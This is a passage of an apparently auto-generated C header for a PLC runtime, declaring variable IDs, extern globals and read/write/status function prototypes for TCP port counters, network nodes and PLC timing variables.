addWrite_TCP0_LAST_ERROR(u_int32_t value); int getStatus_TCP0_LAST_ERROR(void); #define ID_TCP0_WRITE_QUEUE 5068 extern u_int32_t TCP0_WRITE_QUEUE; int doWrite_TCP0_WRITE_QUEUE(u_int32_t value); int addWrite_TCP0_WRITE_QUEUE(u_int32_t value); int getStatus_TCP0_WRITE_QUEUE(void); #define ID_TCP0_BUS_LOAD 5069 extern u_int32_t TCP0_BUS_LOAD; int doWrite_TCP0_BUS_LOAD(u_int32_t value); int addWrite_TCP0_BUS_LOAD(u_int32_t value); int getStatus_TCP0_BUS_LOAD(void); #define ID_TCP1_TYPE_PORT 5070 extern u_int32_t TCP1_TYPE_PORT; int doWrite_TCP1_TYPE_PORT(u_int32_t value); int addWrite_TCP1_TYPE_PORT(u_int32_t value); int getStatus_TCP1_TYPE_PORT(void); #define ID_TCP1_IP_ADDRESS 5071 extern u_int32_t TCP1_IP_ADDRESS; int doWrite_TCP1_IP_ADDRESS(u_int32_t value); int addWrite_TCP1_IP_ADDRESS(u_int32_t value); int getStatus_TCP1_IP_ADDRESS(void); #define ID_TCP1_STATUS 5072 extern u_int32_t TCP1_STATUS; int doWrite_TCP1_STATUS(u_int32_t value); int addWrite_TCP1_STATUS(u_int32_t value); int getStatus_TCP1_STATUS(void); #define ID_TCP1_READS 5073 extern u_int32_t TCP1_READS; int doWrite_TCP1_READS(u_int32_t value); int addWrite_TCP1_READS(u_int32_t value); int getStatus_TCP1_READS(void); #define ID_TCP1_WRITES 5074 extern u_int32_t TCP1_WRITES; int doWrite_TCP1_WRITES(u_int32_t value); int addWrite_TCP1_WRITES(u_int32_t value); int getStatus_TCP1_WRITES(void); #define ID_TCP1_TIMEOUTS 5075 extern u_int32_t TCP1_TIMEOUTS; int doWrite_TCP1_TIMEOUTS(u_int32_t value); int addWrite_TCP1_TIMEOUTS(u_int32_t value); int getStatus_TCP1_TIMEOUTS(void); #define ID_TCP1_COMM_ERRORS 5076 extern u_int32_t TCP1_COMM_ERRORS; int doWrite_TCP1_COMM_ERRORS(u_int32_t value); int addWrite_TCP1_COMM_ERRORS(u_int32_t value); int getStatus_TCP1_COMM_ERRORS(void); #define ID_TCP1_LAST_ERROR 5077 extern u_int32_t TCP1_LAST_ERROR; int doWrite_TCP1_LAST_ERROR(u_int32_t value); int addWrite_TCP1_LAST_ERROR(u_int32_t value); int getStatus_TCP1_LAST_ERROR(void); #define ID_TCP1_WRITE_QUEUE 5078 extern u_int32_t TCP1_WRITE_QUEUE; int doWrite_TCP1_WRITE_QUEUE(u_int32_t value); int addWrite_TCP1_WRITE_QUEUE(u_int32_t value); int getStatus_TCP1_WRITE_QUEUE(void); #define ID_TCP1_BUS_LOAD 5079 extern u_int32_t TCP1_BUS_LOAD; int doWrite_TCP1_BUS_LOAD(u_int32_t value); int addWrite_TCP1_BUS_LOAD(u_int32_t value); int getStatus_TCP1_BUS_LOAD(void); #define ID_TCP2_TYPE_PORT 5080 extern u_int32_t TCP2_TYPE_PORT; int doWrite_TCP2_TYPE_PORT(u_int32_t value); int addWrite_TCP2_TYPE_PORT(u_int32_t value); int getStatus_TCP2_TYPE_PORT(void); #define ID_TCP2_IP_ADDRESS 5081 extern u_int32_t TCP2_IP_ADDRESS; int doWrite_TCP2_IP_ADDRESS(u_int32_t value); int addWrite_TCP2_IP_ADDRESS(u_int32_t value); int getStatus_TCP2_IP_ADDRESS(void); #define ID_TCP2_STATUS 5082 extern u_int32_t TCP2_STATUS; int doWrite_TCP2_STATUS(u_int32_t value); int addWrite_TCP2_STATUS(u_int32_t value); int getStatus_TCP2_STATUS(void); #define ID_TCP2_READS 5083 extern u_int32_t TCP2_READS; int doWrite_TCP2_READS(u_int32_t value); int addWrite_TCP2_READS(u_int32_t value); int getStatus_TCP2_READS(void); #define ID_TCP2_WRITES 5084 extern u_int32_t TCP2_WRITES; int doWrite_TCP2_WRITES(u_int32_t value); int addWrite_TCP2_WRITES(u_int32_t value); int getStatus_TCP2_WRITES(void); #define ID_TCP2_TIMEOUTS 5085 extern u_int32_t TCP2_TIMEOUTS; int doWrite_TCP2_TIMEOUTS(u_int32_t value); int addWrite_TCP2_TIMEOUTS(u_int32_t value); int getStatus_TCP2_TIMEOUTS(void); #define ID_TCP2_COMM_ERRORS 5086 extern u_int32_t TCP2_COMM_ERRORS; int doWrite_TCP2_COMM_ERRORS(u_int32_t value); int addWrite_TCP2_COMM_ERRORS(u_int32_t value); int getStatus_TCP2_COMM_ERRORS(void); #define ID_TCP2_LAST_ERROR 5087 extern u_int32_t TCP2_LAST_ERROR; int doWrite_TCP2_LAST_ERROR(u_int32_t value); int addWrite_TCP2_LAST_ERROR(u_int32_t value); int getStatus_TCP2_LAST_ERROR(void); #define ID_TCP2_WRITE_QUEUE 5088 extern u_int32_t TCP2_WRITE_QUEUE; int doWrite_TCP2_WRITE_QUEUE(u_int32_t value); int addWrite_TCP2_WRITE_QUEUE(u_int32_t value); int getStatus_TCP2_WRITE_QUEUE(void); #define ID_TCP2_BUS_LOAD 5089 extern u_int32_t TCP2_BUS_LOAD; int doWrite_TCP2_BUS_LOAD(u_int32_t value); int addWrite_TCP2_BUS_LOAD(u_int32_t value); int getStatus_TCP2_BUS_LOAD(void); #define ID_TCP3_TYPE_PORT 5090 extern u_int32_t TCP3_TYPE_PORT; int doWrite_TCP3_TYPE_PORT(u_int32_t value); int addWrite_TCP3_TYPE_PORT(u_int32_t value); int getStatus_TCP3_TYPE_PORT(void); #define ID_TCP3_IP_ADDRESS 5091 extern u_int32_t TCP3_IP_ADDRESS; int doWrite_TCP3_IP_ADDRESS(u_int32_t value); int addWrite_TCP3_IP_ADDRESS(u_int32_t value); int getStatus_TCP3_IP_ADDRESS(void); #define ID_TCP3_STATUS 5092 extern u_int32_t TCP3_STATUS; int doWrite_TCP3_STATUS(u_int32_t value); int addWrite_TCP3_STATUS(u_int32_t value); int getStatus_TCP3_STATUS(void); #define ID_TCP3_READS 5093 extern u_int32_t TCP3_READS; int doWrite_TCP3_READS(u_int32_t value); int addWrite_TCP3_READS(u_int32_t value); int getStatus_TCP3_READS(void); #define ID_TCP3_WRITES 5094 extern u_int32_t TCP3_WRITES; int doWrite_TCP3_WRITES(u_int32_t value); int addWrite_TCP3_WRITES(u_int32_t value); int getStatus_TCP3_WRITES(void); #define ID_TCP3_TIMEOUTS 5095 extern u_int32_t TCP3_TIMEOUTS; int doWrite_TCP3_TIMEOUTS(u_int32_t value); int addWrite_TCP3_TIMEOUTS(u_int32_t value); int getStatus_TCP3_TIMEOUTS(void); #define ID_TCP3_COMM_ERRORS 5096 extern u_int32_t TCP3_COMM_ERRORS; int doWrite_TCP3_COMM_ERRORS(u_int32_t value); int addWrite_TCP3_COMM_ERRORS(u_int32_t value); int getStatus_TCP3_COMM_ERRORS(void); #define ID_TCP3_LAST_ERROR 5097 extern u_int32_t TCP3_LAST_ERROR; int doWrite_TCP3_LAST_ERROR(u_int32_t value); int addWrite_TCP3_LAST_ERROR(u_int32_t value); int getStatus_TCP3_LAST_ERROR(void); #define ID_TCP3_WRITE_QUEUE 5098 extern u_int32_t TCP3_WRITE_QUEUE; int doWrite_TCP3_WRITE_QUEUE(u_int32_t value); int addWrite_TCP3_WRITE_QUEUE(u_int32_t value); int getStatus_TCP3_WRITE_QUEUE(void); #define ID_TCP3_BUS_LOAD 5099 extern u_int32_t TCP3_BUS_LOAD; int doWrite_TCP3_BUS_LOAD(u_int32_t value); int addWrite_TCP3_BUS_LOAD(u_int32_t value); int getStatus_TCP3_BUS_LOAD(void); #define ID_TCP4_TYPE_PORT 5100 extern u_int32_t TCP4_TYPE_PORT; int doWrite_TCP4_TYPE_PORT(u_int32_t value); int addWrite_TCP4_TYPE_PORT(u_int32_t value); int getStatus_TCP4_TYPE_PORT(void); #define ID_TCP4_IP_ADDRESS 5101 extern u_int32_t TCP4_IP_ADDRESS; int doWrite_TCP4_IP_ADDRESS(u_int32_t value); int addWrite_TCP4_IP_ADDRESS(u_int32_t value); int getStatus_TCP4_IP_ADDRESS(void); #define ID_TCP4_STATUS 5102 extern u_int32_t TCP4_STATUS; int doWrite_TCP4_STATUS(u_int32_t value); int addWrite_TCP4_STATUS(u_int32_t value); int getStatus_TCP4_STATUS(void); #define ID_TCP4_READS 5103 extern u_int32_t TCP4_READS; int doWrite_TCP4_READS(u_int32_t value); int addWrite_TCP4_READS(u_int32_t value); int getStatus_TCP4_READS(void); #define ID_TCP4_WRITES 5104 extern u_int32_t TCP4_WRITES; int doWrite_TCP4_WRITES(u_int32_t value); int addWrite_TCP4_WRITES(u_int32_t value); int getStatus_TCP4_WRITES(void); #define ID_TCP4_TIMEOUTS 5105 extern u_int32_t TCP4_TIMEOUTS; int doWrite_TCP4_TIMEOUTS(u_int32_t value); int addWrite_TCP4_TIMEOUTS(u_int32_t value); int getStatus_TCP4_TIMEOUTS(void); #define ID_TCP4_COMM_ERRORS 5106 extern u_int32_t TCP4_COMM_ERRORS; int doWrite_TCP4_COMM_ERRORS(u_int32_t value); int addWrite_TCP4_COMM_ERRORS(u_int32_t value); int getStatus_TCP4_COMM_ERRORS(void); #define ID_TCP4_LAST_ERROR 5107 extern u_int32_t TCP4_LAST_ERROR; int doWrite_TCP4_LAST_ERROR(u_int32_t value); int addWrite_TCP4_LAST_ERROR(u_int32_t value); int getStatus_TCP4_LAST_ERROR(void); #define ID_TCP4_WRITE_QUEUE 5108 extern u_int32_t TCP4_WRITE_QUEUE; int doWrite_TCP4_WRITE_QUEUE(u_int32_t value); int addWrite_TCP4_WRITE_QUEUE(u_int32_t value); int getStatus_TCP4_WRITE_QUEUE(void); #define ID_TCP4_BUS_LOAD 5109 extern u_int32_t TCP4_BUS_LOAD; int doWrite_TCP4_BUS_LOAD(u_int32_t value); int addWrite_TCP4_BUS_LOAD(u_int32_t value); int getStatus_TCP4_BUS_LOAD(void); #define ID_TCP5_TYPE_PORT 5110 extern u_int32_t TCP5_TYPE_PORT; int doWrite_TCP5_TYPE_PORT(u_int32_t value); int addWrite_TCP5_TYPE_PORT(u_int32_t value); int getStatus_TCP5_TYPE_PORT(void); #define ID_TCP5_IP_ADDRESS 5111 extern u_int32_t TCP5_IP_ADDRESS; int doWrite_TCP5_IP_ADDRESS(u_int32_t value); int addWrite_TCP5_IP_ADDRESS(u_int32_t value); int getStatus_TCP5_IP_ADDRESS(void); #define ID_TCP5_STATUS 5112 extern u_int32_t TCP5_STATUS; int doWrite_TCP5_STATUS(u_int32_t value); int addWrite_TCP5_STATUS(u_int32_t value); int getStatus_TCP5_STATUS(void); #define ID_TCP5_READS 5113 extern u_int32_t TCP5_READS; int doWrite_TCP5_READS(u_int32_t value); int addWrite_TCP5_READS(u_int32_t value); int getStatus_TCP5_READS(void); #define ID_TCP5_WRITES 5114 extern u_int32_t TCP5_WRITES; int doWrite_TCP5_WRITES(u_int32_t value); int addWrite_TCP5_WRITES(u_int32_t value); int getStatus_TCP5_WRITES(void); #define ID_TCP5_TIMEOUTS 5115 extern u_int32_t TCP5_TIMEOUTS; int doWrite_TCP5_TIMEOUTS(u_int32_t value); int addWrite_TCP5_TIMEOUTS(u_int32_t value); int getStatus_TCP5_TIMEOUTS(void); #define ID_TCP5_COMM_ERRORS 5116 extern u_int32_t TCP5_COMM_ERRORS; int doWrite_TCP5_COMM_ERRORS(u_int32_t value); int addWrite_TCP5_COMM_ERRORS(u_int32_t value); int getStatus_TCP5_COMM_ERRORS(void); #define ID_TCP5_LAST_ERROR 5117 extern u_int32_t TCP5_LAST_ERROR; int doWrite_TCP5_LAST_ERROR(u_int32_t value); int addWrite_TCP5_LAST_ERROR(u_int32_t value); int getStatus_TCP5_LAST_ERROR(void); #define ID_TCP5_WRITE_QUEUE 5118 extern u_int32_t TCP5_WRITE_QUEUE; int doWrite_TCP5_WRITE_QUEUE(u_int32_t value); int addWrite_TCP5_WRITE_QUEUE(u_int32_t value); int getStatus_TCP5_WRITE_QUEUE(void); #define ID_TCP5_BUS_LOAD 5119 extern u_int32_t TCP5_BUS_LOAD; int doWrite_TCP5_BUS_LOAD(u_int32_t value); int addWrite_TCP5_BUS_LOAD(u_int32_t value); int getStatus_TCP5_BUS_LOAD(void); #define ID_TCP6_TYPE_PORT 5120 extern u_int32_t TCP6_TYPE_PORT; int doWrite_TCP6_TYPE_PORT(u_int32_t value); int addWrite_TCP6_TYPE_PORT(u_int32_t value); int getStatus_TCP6_TYPE_PORT(void); #define ID_TCP6_IP_ADDRESS 5121 extern u_int32_t TCP6_IP_ADDRESS; int doWrite_TCP6_IP_ADDRESS(u_int32_t value); int addWrite_TCP6_IP_ADDRESS(u_int32_t value); int getStatus_TCP6_IP_ADDRESS(void); #define ID_TCP6_STATUS 5122 extern u_int32_t TCP6_STATUS; int doWrite_TCP6_STATUS(u_int32_t value); int addWrite_TCP6_STATUS(u_int32_t value); int getStatus_TCP6_STATUS(void); #define ID_TCP6_READS 5123 extern u_int32_t TCP6_READS; int doWrite_TCP6_READS(u_int32_t value); int addWrite_TCP6_READS(u_int32_t value); int getStatus_TCP6_READS(void); #define ID_TCP6_WRITES 5124 extern u_int32_t TCP6_WRITES; int doWrite_TCP6_WRITES(u_int32_t value); int addWrite_TCP6_WRITES(u_int32_t value); int getStatus_TCP6_WRITES(void); #define ID_TCP6_TIMEOUTS 5125 extern u_int32_t TCP6_TIMEOUTS; int doWrite_TCP6_TIMEOUTS(u_int32_t value); int addWrite_TCP6_TIMEOUTS(u_int32_t value); int getStatus_TCP6_TIMEOUTS(void); #define ID_TCP6_COMM_ERRORS 5126 extern u_int32_t TCP6_COMM_ERRORS; int doWrite_TCP6_COMM_ERRORS(u_int32_t value); int addWrite_TCP6_COMM_ERRORS(u_int32_t value); int getStatus_TCP6_COMM_ERRORS(void); #define ID_TCP6_LAST_ERROR 5127 extern u_int32_t TCP6_LAST_ERROR; int doWrite_TCP6_LAST_ERROR(u_int32_t value); int addWrite_TCP6_LAST_ERROR(u_int32_t value); int getStatus_TCP6_LAST_ERROR(void); #define ID_TCP6_WRITE_QUEUE 5128 extern u_int32_t TCP6_WRITE_QUEUE; int doWrite_TCP6_WRITE_QUEUE(u_int32_t value); int addWrite_TCP6_WRITE_QUEUE(u_int32_t value); int getStatus_TCP6_WRITE_QUEUE(void); #define ID_TCP6_BUS_LOAD 5129 extern u_int32_t TCP6_BUS_LOAD; int doWrite_TCP6_BUS_LOAD(u_int32_t value); int addWrite_TCP6_BUS_LOAD(u_int32_t value); int getStatus_TCP6_BUS_LOAD(void); #define ID_TCP7_TYPE_PORT 5130 extern u_int32_t TCP7_TYPE_PORT; int doWrite_TCP7_TYPE_PORT(u_int32_t value); int addWrite_TCP7_TYPE_PORT(u_int32_t value); int getStatus_TCP7_TYPE_PORT(void); #define ID_TCP7_IP_ADDRESS 5131 extern u_int32_t TCP7_IP_ADDRESS; int doWrite_TCP7_IP_ADDRESS(u_int32_t value); int addWrite_TCP7_IP_ADDRESS(u_int32_t value); int getStatus_TCP7_IP_ADDRESS(void); #define ID_TCP7_STATUS 5132 extern u_int32_t TCP7_STATUS; int doWrite_TCP7_STATUS(u_int32_t value); int addWrite_TCP7_STATUS(u_int32_t value); int getStatus_TCP7_STATUS(void); #define ID_TCP7_READS 5133 extern u_int32_t TCP7_READS; int doWrite_TCP7_READS(u_int32_t value); int addWrite_TCP7_READS(u_int32_t value); int getStatus_TCP7_READS(void); #define ID_TCP7_WRITES 5134 extern u_int32_t TCP7_WRITES; int doWrite_TCP7_WRITES(u_int32_t value); int addWrite_TCP7_WRITES(u_int32_t value); int getStatus_TCP7_WRITES(void); #define ID_TCP7_TIMEOUTS 5135 extern u_int32_t TCP7_TIMEOUTS; int doWrite_TCP7_TIMEOUTS(u_int32_t value); int addWrite_TCP7_TIMEOUTS(u_int32_t value); int getStatus_TCP7_TIMEOUTS(void); #define ID_TCP7_COMM_ERRORS 5136 extern u_int32_t TCP7_COMM_ERRORS; int doWrite_TCP7_COMM_ERRORS(u_int32_t value); int addWrite_TCP7_COMM_ERRORS(u_int32_t value); int getStatus_TCP7_COMM_ERRORS(void); #define ID_TCP7_LAST_ERROR 5137 extern u_int32_t TCP7_LAST_ERROR; int doWrite_TCP7_LAST_ERROR(u_int32_t value); int addWrite_TCP7_LAST_ERROR(u_int32_t value); int getStatus_TCP7_LAST_ERROR(void); #define ID_TCP7_WRITE_QUEUE 5138 extern u_int32_t TCP7_WRITE_QUEUE; int doWrite_TCP7_WRITE_QUEUE(u_int32_t value); int addWrite_TCP7_WRITE_QUEUE(u_int32_t value); int getStatus_TCP7_WRITE_QUEUE(void); #define ID_TCP7_BUS_LOAD 5139 extern u_int32_t TCP7_BUS_LOAD; int doWrite_TCP7_BUS_LOAD(u_int32_t value); int addWrite_TCP7_BUS_LOAD(u_int32_t value); int getStatus_TCP7_BUS_LOAD(void); #define ID_TCP8_TYPE_PORT 5140 extern u_int32_t TCP8_TYPE_PORT; int doWrite_TCP8_TYPE_PORT(u_int32_t value); int addWrite_TCP8_TYPE_PORT(u_int32_t value); int getStatus_TCP8_TYPE_PORT(void); #define ID_TCP8_IP_ADDRESS 5141 extern u_int32_t TCP8_IP_ADDRESS; int doWrite_TCP8_IP_ADDRESS(u_int32_t value); int addWrite_TCP8_IP_ADDRESS(u_int32_t value); int getStatus_TCP8_IP_ADDRESS(void); #define ID_TCP8_STATUS 5142 extern u_int32_t TCP8_STATUS; int doWrite_TCP8_STATUS(u_int32_t value); int addWrite_TCP8_STATUS(u_int32_t value); int getStatus_TCP8_STATUS(void); #define ID_TCP8_READS 5143 extern u_int32_t TCP8_READS; int doWrite_TCP8_READS(u_int32_t value); int addWrite_TCP8_READS(u_int32_t value); int getStatus_TCP8_READS(void); #define ID_TCP8_WRITES 5144 extern u_int32_t TCP8_WRITES; int doWrite_TCP8_WRITES(u_int32_t value); int addWrite_TCP8_WRITES(u_int32_t value); int getStatus_TCP8_WRITES(void); #define ID_TCP8_TIMEOUTS 5145 extern u_int32_t TCP8_TIMEOUTS; int doWrite_TCP8_TIMEOUTS(u_int32_t value); int addWrite_TCP8_TIMEOUTS(u_int32_t value); int getStatus_TCP8_TIMEOUTS(void); #define ID_TCP8_COMM_ERRORS 5146 extern u_int32_t TCP8_COMM_ERRORS; int doWrite_TCP8_COMM_ERRORS(u_int32_t value); int addWrite_TCP8_COMM_ERRORS(u_int32_t value); int getStatus_TCP8_COMM_ERRORS(void); #define ID_TCP8_LAST_ERROR 5147 extern u_int32_t TCP8_LAST_ERROR; int doWrite_TCP8_LAST_ERROR(u_int32_t value); int addWrite_TCP8_LAST_ERROR(u_int32_t value); int getStatus_TCP8_LAST_ERROR(void); #define ID_TCP8_WRITE_QUEUE 5148 extern u_int32_t TCP8_WRITE_QUEUE; int doWrite_TCP8_WRITE_QUEUE(u_int32_t value); int addWrite_TCP8_WRITE_QUEUE(u_int32_t value); int getStatus_TCP8_WRITE_QUEUE(void); #define ID_TCP8_BUS_LOAD 5149 extern u_int32_t TCP8_BUS_LOAD; int doWrite_TCP8_BUS_LOAD(u_int32_t value); int addWrite_TCP8_BUS_LOAD(u_int32_t value); int getStatus_TCP8_BUS_LOAD(void); #define ID_TCP9_TYPE_PORT 5150 extern u_int32_t TCP9_TYPE_PORT; int doWrite_TCP9_TYPE_PORT(u_int32_t value); int addWrite_TCP9_TYPE_PORT(u_int32_t value); int getStatus_TCP9_TYPE_PORT(void); #define ID_TCP9_IP_ADDRESS 5151 extern u_int32_t TCP9_IP_ADDRESS; int doWrite_TCP9_IP_ADDRESS(u_int32_t value); int addWrite_TCP9_IP_ADDRESS(u_int32_t value); int getStatus_TCP9_IP_ADDRESS(void); #define ID_TCP9_STATUS 5152 extern u_int32_t TCP9_STATUS; int doWrite_TCP9_STATUS(u_int32_t value); int addWrite_TCP9_STATUS(u_int32_t value); int getStatus_TCP9_STATUS(void); #define ID_TCP9_READS 5153 extern u_int32_t TCP9_READS; int doWrite_TCP9_READS(u_int32_t value); int addWrite_TCP9_READS(u_int32_t value); int getStatus_TCP9_READS(void); #define ID_TCP9_WRITES 5154 extern u_int32_t TCP9_WRITES; int doWrite_TCP9_WRITES(u_int32_t value); int addWrite_TCP9_WRITES(u_int32_t value); int getStatus_TCP9_WRITES(void); #define ID_TCP9_TIMEOUTS 5155 extern u_int32_t TCP9_TIMEOUTS; int doWrite_TCP9_TIMEOUTS(u_int32_t value); int addWrite_TCP9_TIMEOUTS(u_int32_t value); int getStatus_TCP9_TIMEOUTS(void); #define ID_TCP9_COMM_ERRORS 5156 extern u_int32_t TCP9_COMM_ERRORS; int doWrite_TCP9_COMM_ERRORS(u_int32_t value); int addWrite_TCP9_COMM_ERRORS(u_int32_t value); int getStatus_TCP9_COMM_ERRORS(void); #define ID_TCP9_LAST_ERROR 5157 extern u_int32_t TCP9_LAST_ERROR; int doWrite_TCP9_LAST_ERROR(u_int32_t value); int addWrite_TCP9_LAST_ERROR(u_int32_t value); int getStatus_TCP9_LAST_ERROR(void); #define ID_TCP9_WRITE_QUEUE 5158 extern u_int32_t TCP9_WRITE_QUEUE; int doWrite_TCP9_WRITE_QUEUE(u_int32_t value); int addWrite_TCP9_WRITE_QUEUE(u_int32_t value); int getStatus_TCP9_WRITE_QUEUE(void); #define ID_TCP9_BUS_LOAD 5159 extern u_int32_t TCP9_BUS_LOAD; int doWrite_TCP9_BUS_LOAD(u_int32_t value); int addWrite_TCP9_BUS_LOAD(u_int32_t value); int getStatus_TCP9_BUS_LOAD(void); #define ID_NODE_01_DEV_NODE 5172 extern u_int32_t NODE_01_DEV_NODE; int doWrite_NODE_01_DEV_NODE(u_int32_t value); int addWrite_NODE_01_DEV_NODE(u_int32_t value); int getStatus_NODE_01_DEV_NODE(void); #define ID_NODE_01_STATUS 5173 extern u_int32_t NODE_01_STATUS; int doWrite_NODE_01_STATUS(u_int32_t value); int addWrite_NODE_01_STATUS(u_int32_t value); int getStatus_NODE_01_STATUS(void); #define ID_NODE_02_DEV_NODE 5174 extern u_int32_t NODE_02_DEV_NODE; int doWrite_NODE_02_DEV_NODE(u_int32_t value); int addWrite_NODE_02_DEV_NODE(u_int32_t value); int getStatus_NODE_02_DEV_NODE(void); #define ID_NODE_02_STATUS 5175 extern u_int32_t NODE_02_STATUS; int doWrite_NODE_02_STATUS(u_int32_t value); int addWrite_NODE_02_STATUS(u_int32_t value); int getStatus_NODE_02_STATUS(void); #define ID_NODE_03_DEV_NODE 5176 extern u_int32_t NODE_03_DEV_NODE; int doWrite_NODE_03_DEV_NODE(u_int32_t value); int addWrite_NODE_03_DEV_NODE(u_int32_t value); int getStatus_NODE_03_DEV_NODE(void); #define ID_NODE_03_STATUS 5177 extern u_int32_t NODE_03_STATUS; int doWrite_NODE_03_STATUS(u_int32_t value); int addWrite_NODE_03_STATUS(u_int32_t value); int getStatus_NODE_03_STATUS(void); #define ID_NODE_04_DEV_NODE 5178 extern u_int32_t NODE_04_DEV_NODE; int doWrite_NODE_04_DEV_NODE(u_int32_t value); int addWrite_NODE_04_DEV_NODE(u_int32_t value); int getStatus_NODE_04_DEV_NODE(void); #define ID_NODE_04_STATUS 5179 extern u_int32_t NODE_04_STATUS; int doWrite_NODE_04_STATUS(u_int32_t value); int addWrite_NODE_04_STATUS(u_int32_t value); int getStatus_NODE_04_STATUS(void); #define ID_NODE_05_DEV_NODE 5180 extern u_int32_t NODE_05_DEV_NODE; int doWrite_NODE_05_DEV_NODE(u_int32_t value); int addWrite_NODE_05_DEV_NODE(u_int32_t value); int getStatus_NODE_05_DEV_NODE(void); #define ID_NODE_05_STATUS 5181 extern u_int32_t NODE_05_STATUS; int doWrite_NODE_05_STATUS(u_int32_t value); int addWrite_NODE_05_STATUS(u_int32_t value); int getStatus_NODE_05_STATUS(void); #define ID_NODE_06_DEV_NODE 5182 extern u_int32_t NODE_06_DEV_NODE; int doWrite_NODE_06_DEV_NODE(u_int32_t value); int addWrite_NODE_06_DEV_NODE(u_int32_t value); int getStatus_NODE_06_DEV_NODE(void); #define ID_NODE_06_STATUS 5183 extern u_int32_t NODE_06_STATUS; int doWrite_NODE_06_STATUS(u_int32_t value); int addWrite_NODE_06_STATUS(u_int32_t value); int getStatus_NODE_06_STATUS(void); #define ID_NODE_07_DEV_NODE 5184 extern u_int32_t NODE_07_DEV_NODE; int doWrite_NODE_07_DEV_NODE(u_int32_t value); int addWrite_NODE_07_DEV_NODE(u_int32_t value); int getStatus_NODE_07_DEV_NODE(void); #define ID_NODE_07_STATUS 5185 extern u_int32_t NODE_07_STATUS; int doWrite_NODE_07_STATUS(u_int32_t value); int addWrite_NODE_07_STATUS(u_int32_t value); int getStatus_NODE_07_STATUS(void); #define ID_NODE_08_DEV_NODE 5186 extern u_int32_t NODE_08_DEV_NODE; int doWrite_NODE_08_DEV_NODE(u_int32_t value); int addWrite_NODE_08_DEV_NODE(u_int32_t value); int getStatus_NODE_08_DEV_NODE(void); #define ID_NODE_08_STATUS 5187 extern u_int32_t NODE_08_STATUS; int doWrite_NODE_08_STATUS(u_int32_t value); int addWrite_NODE_08_STATUS(u_int32_t value); int getStatus_NODE_08_STATUS(void); #define ID_NODE_09_DEV_NODE 5188 extern u_int32_t NODE_09_DEV_NODE; int doWrite_NODE_09_DEV_NODE(u_int32_t value); int addWrite_NODE_09_DEV_NODE(u_int32_t value); int getStatus_NODE_09_DEV_NODE(void); #define ID_NODE_09_STATUS 5189 extern u_int32_t NODE_09_STATUS; int doWrite_NODE_09_STATUS(u_int32_t value); int addWrite_NODE_09_STATUS(u_int32_t value); int getStatus_NODE_09_STATUS(void); #define ID_NODE_10_DEV_NODE 5190 extern u_int32_t NODE_10_DEV_NODE; int doWrite_NODE_10_DEV_NODE(u_int32_t value); int addWrite_NODE_10_DEV_NODE(u_int32_t value); int getStatus_NODE_10_DEV_NODE(void); #define ID_NODE_10_STATUS 5191 extern u_int32_t NODE_10_STATUS; int doWrite_NODE_10_STATUS(u_int32_t value); int addWrite_NODE_10_STATUS(u_int32_t value); int getStatus_NODE_10_STATUS(void); #define ID_NODE_11_DEV_NODE 5192 extern u_int32_t NODE_11_DEV_NODE; int doWrite_NODE_11_DEV_NODE(u_int32_t value); int addWrite_NODE_11_DEV_NODE(u_int32_t value); int getStatus_NODE_11_DEV_NODE(void); #define ID_NODE_11_STATUS 5193 extern u_int32_t NODE_11_STATUS; int doWrite_NODE_11_STATUS(u_int32_t value); int addWrite_NODE_11_STATUS(u_int32_t value); int getStatus_NODE_11_STATUS(void); #define ID_NODE_12_DEV_NODE 5194 extern u_int32_t NODE_12_DEV_NODE; int doWrite_NODE_12_DEV_NODE(u_int32_t value); int addWrite_NODE_12_DEV_NODE(u_int32_t value); int getStatus_NODE_12_DEV_NODE(void); #define ID_NODE_12_STATUS 5195 extern u_int32_t NODE_12_STATUS; int doWrite_NODE_12_STATUS(u_int32_t value); int addWrite_NODE_12_STATUS(u_int32_t value); int getStatus_NODE_12_STATUS(void); #define ID_NODE_13_DEV_NODE 5196 extern u_int32_t NODE_13_DEV_NODE; int doWrite_NODE_13_DEV_NODE(u_int32_t value); int addWrite_NODE_13_DEV_NODE(u_int32_t value); int getStatus_NODE_13_DEV_NODE(void); #define ID_NODE_13_STATUS 5197 extern u_int32_t NODE_13_STATUS; int doWrite_NODE_13_STATUS(u_int32_t value); int addWrite_NODE_13_STATUS(u_int32_t value); int getStatus_NODE_13_STATUS(void); #define ID_NODE_14_DEV_NODE 5198 extern u_int32_t NODE_14_DEV_NODE; int doWrite_NODE_14_DEV_NODE(u_int32_t value); int addWrite_NODE_14_DEV_NODE(u_int32_t value); int getStatus_NODE_14_DEV_NODE(void); #define ID_NODE_14_STATUS 5199 extern u_int32_t NODE_14_STATUS; int doWrite_NODE_14_STATUS(u_int32_t value); int addWrite_NODE_14_STATUS(u_int32_t value); int getStatus_NODE_14_STATUS(void); #define ID_NODE_15_DEV_NODE 5200 extern u_int32_t NODE_15_DEV_NODE; int doWrite_NODE_15_DEV_NODE(u_int32_t value); int addWrite_NODE_15_DEV_NODE(u_int32_t value); int getStatus_NODE_15_DEV_NODE(void); #define ID_NODE_15_STATUS 5201 extern u_int32_t NODE_15_STATUS; int doWrite_NODE_15_STATUS(u_int32_t value); int addWrite_NODE_15_STATUS(u_int32_t value); int getStatus_NODE_15_STATUS(void); #define ID_NODE_16_DEV_NODE 5202 extern u_int32_t NODE_16_DEV_NODE; int doWrite_NODE_16_DEV_NODE(u_int32_t value); int addWrite_NODE_16_DEV_NODE(u_int32_t value); int getStatus_NODE_16_DEV_NODE(void); #define ID_NODE_16_STATUS 5203 extern u_int32_t NODE_16_STATUS; int doWrite_NODE_16_STATUS(u_int32_t value); int addWrite_NODE_16_STATUS(u_int32_t value); int getStatus_NODE_16_STATUS(void); #define ID_PLC_time 5390 extern float PLC_time; /* Seconds since boot (reset each 24h) */ int doWrite_PLC_time(float value); int addWrite_PLC_time(float value); int getStatus_PLC_time(void); #define ID_PLC_timeMin 5391 extern float PLC_timeMin; /* 10 seconds window start */ int doWrite_PLC_timeMin(float value); int addWrite_PLC_timeMin(float value); int getStatus_PLC_timeMin(void); #define ID_PLC_timeMax 5392 extern float PLC_timeMax; /* 10 seconds window stop */ int doWrite_PLC_timeMax(float value); int addWrite_PLC_timeMax(float value); int getStatus_PLC_timeMax(void); #define ID_PLC_timeWin 5393 extern float PLC_timeWin; /* Graph display window */ int doWrite_PLC_timeWin(float value); int addWrite_PLC_timeWin(float value); int getStatus_PLC_timeWin(void); #define ID_PLC_Version 5394 extern u_int16_t PLC_Version; /* Run Time version */ int doWrite_PLC_Version(u_int16_t value); int addWrite_PLC_Version(u_int16_t value); int getStatus_PLC_Version(void); #define ID_PLC_EngineStatus 5395 extern u_int16_t PLC_EngineStatus; /* 